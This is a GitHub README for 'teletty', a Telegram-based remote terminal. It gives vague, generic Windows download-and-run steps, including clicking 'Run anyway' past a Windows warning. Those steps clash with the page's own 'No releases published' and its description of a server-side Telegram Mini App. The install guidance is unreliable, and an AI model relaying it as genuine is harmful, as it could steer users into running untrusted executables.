Skip to content

Alexc9681/teletty

Repository files navigation

πŸ“± teletty - Your terminal, inside Telegram

Download teletty

πŸš€ What is teletty?

teletty puts a full terminal in your Telegram chat. It gives you a simple way to use a shell, move through files, and run terminal tools from your phone. It also supports smart buttons, Claude Code, and voice input.

This makes it useful when you want quick access to a terminal without opening your laptop. You can check work, send commands, and keep a session open through Telegram.

πŸ“₯ Download and install

Visit this page to download and set up teletty on Windows:

Download teletty

After you open the page, look for the latest release or setup files. If the project provides a Windows app, download it and save it to your PC. If it comes as a zipped folder, extract it before you run it.

Windows setup steps

  1. Open the download link above in your browser.
  2. Find the latest release or main download file.
  3. Download the Windows version.
  4. If Windows asks for permission, choose Run anyway only if you trust the source.
  5. Open the app from the downloaded file or extracted folder.
  6. Follow the on-screen setup steps.
  7. Connect the app to Telegram when asked.

πŸ–₯️ What you need on Windows

teletty is made for everyday Windows use. A typical setup should work well on Windows 10 or Windows 11.

You should have:

  • A working internet connection
  • A Telegram account
  • Enough free space for the app and its files
  • Permission to run apps on your PC
  • A stable connection if you plan to keep a terminal session open

If you use a work PC, you may need admin access to install or start the app.

✨ What teletty can do

teletty focuses on fast access to terminal tasks from your phone. Common uses include:

  • Open a shell session from Telegram
  • Send terminal commands from chat
  • Use smart buttons for common actions
  • Work with Claude Code for coding help
  • Send voice input instead of typing
  • Keep a terminal available while you move around
  • Use tmux-style session handling for longer tasks
  • View terminal output in a clean text-based screen

πŸ“² How to start using it

After you install teletty on Windows, you usually need to connect it to Telegram and start a session.

Basic first run

  1. Open teletty on your PC.
  2. Sign in or link your Telegram account.
  3. Allow the app to create a terminal session.
  4. Open Telegram on your phone.
  5. Find the bot, mini app, or chat link used by teletty.
  6. Start a session from Telegram.
  7. Use the buttons or text input to send commands.

Using smart buttons

teletty includes smart buttons that make common tasks easier. These buttons can help you:

  • Open a shell
  • Send a saved command
  • Move between sessions
  • Confirm actions
  • Switch modes
  • Start or stop a task

This is useful when you do not want to type long commands on a phone.

πŸŽ™οΈ Voice input

teletty supports voice input for hands-free use. This helps when you want to send a command but do not want to type on a small screen.

You can use voice input to:

  • Speak a quick command
  • Add short notes
  • Control simple actions
  • Reduce typing on mobile

For best results, speak short and clear phrases.

πŸ€– Claude Code integration

teletty works with Claude Code for coding and task help inside the terminal flow. This can help with:

  • Reading code
  • Writing small scripts
  • Fixing simple errors
  • Explaining command output
  • Speeding up routine work

If you already use Claude Code, teletty gives you a mobile way to reach it through Telegram.

🧭 Using the terminal from your phone

Once the session is open, you can treat teletty like a remote terminal. You may see command output, prompts, and task results in Telegram.

A few simple tips:

  • Keep commands short
  • Wait for output before sending the next command
  • Use buttons when they are available
  • Keep one session open if you are working on a longer task
  • Avoid sending many commands at once

πŸ”§ Common Windows checks

If teletty does not start right away, check these items:

  • Make sure the app is fully downloaded
  • Check that Windows did not block the file
  • Open the app from the extracted folder if it came in a zip file
  • Confirm that Telegram is installed and signed in
  • Check your internet connection
  • Close and reopen the app if the first launch hangs

πŸ“ Typical folder layout

If the project ships as a folder instead of a single installer, you may see files like these:

  • The main app file
  • A config file
  • A logs folder
  • A sessions folder
  • A readme or help file

Keep the files together in one folder so the app can find what it needs.

πŸ§ͺ Good first test

After setup, try a simple test:

  1. Open teletty on Windows.
  2. Connect it to Telegram.
  3. Start a session from your phone.
  4. Send a harmless command like a folder listing.
  5. Check that the terminal output comes back in Telegram.

If that works, the app is set up and ready for normal use.

πŸ”’ Privacy and control

teletty routes terminal use through Telegram, so you should keep your Telegram account secure. Use a strong password and turn on two-step verification if you use it for other important tasks.

It is also a good idea to:

  • Keep the app on a trusted PC
  • Use only your own Telegram account
  • Review any commands before you send them
  • Close sessions when you are done

🧰 Useful ways to use teletty

teletty can fit many daily tasks:

  • Check a server while away from your desk
  • Run a script from your phone
  • Restart a dev task
  • Watch a long build
  • Send quick fixes during travel
  • Use voice input when typing is hard
  • Use smart buttons for repeat actions

🧩 Troubleshooting

The download will not open

  • Try a different browser
  • Check your internet connection
  • Make sure the file finished downloading
  • Re-download the file if it looks broken

Windows shows a security prompt

  • Confirm that you downloaded from the link above
  • Read the file name and source
  • If the file is an app, Windows may ask for permission before launch

Telegram does not connect

  • Check that you are signed in to the right account
  • Make sure the bot or mini app link is correct
  • Restart teletty and try again
  • Check whether your internet connection is stable

No terminal output appears

  • Wait a few seconds for the session to load
  • Refresh the chat
  • Reopen the session
  • Start a new terminal session if the old one stopped

πŸ“Œ Project topics

claude-code, mini-app, mobile-terminal, open-source, smart-buttons, telegram, terminal, tmux, voice-input, xterm

πŸ—‚οΈ Quick start path

If you want the shortest path on Windows:

  1. Open the download link.
  2. Download teletty.
  3. Run or extract the file.
  4. Open the app.
  5. Connect it to Telegram.
  6. Start a terminal session from your phone

About

Access servers from your phone with Telegram Mini Apps, smart prompt buttons, tmux tabs, voice input, and Claude Code support

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors